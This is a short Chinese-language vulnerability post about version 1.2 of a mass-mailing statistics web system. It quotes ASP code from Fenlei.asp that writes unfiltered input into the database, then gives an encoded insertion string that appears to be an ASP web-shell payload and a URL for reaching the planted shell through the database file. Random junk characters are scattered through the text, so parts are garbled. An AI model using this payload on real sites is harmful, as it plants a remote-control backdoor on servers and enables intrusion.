铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
4 ^6 J+ v1 ~+ L* M
& T3 s4 _; `$ b) F' P7 n5 B8 L0 RIF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
( R2 N! b2 o- \IF Countss ("tui","Fenlei",ID )<>0 then
% V6 q) M/ O7 v$ }- U'略
IF Request.QueryString("Action")="Add" Then
, F2 `2 |& N9 y' B$ b( dTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
" ]3 T* f: R8 ^! CRs.Open Sql,Conn,1,3
3 m) ^: |; b# @1 _9 C+ b* lRs.Addnew
Rs("Typename")=Tname
7 ~2 c% l& e6 E5 P'略
3 H; m3 o# X8 }Set Rs=Server.CreateObject("adodb.Recordset")
5 N2 R3 Z$ w, \! Q( JSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
% O  K1 m" p6 s& k8 I- A3 Z%>



没有过滤，直接写入数据库。
( z3 d/ d  `/ b) v- ^7 W0 P) {
利用方法：
5 j5 X1 _3 `5 ~* A! Y2 F0 U
插入：┼攠數畣整爠煥敵瑳∨≡┩>
& G; I3 {5 {2 c, U

9 V# |& i9 s. c, G连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
'install.asp
) p& A2 e6 \) B7 U* ?8 n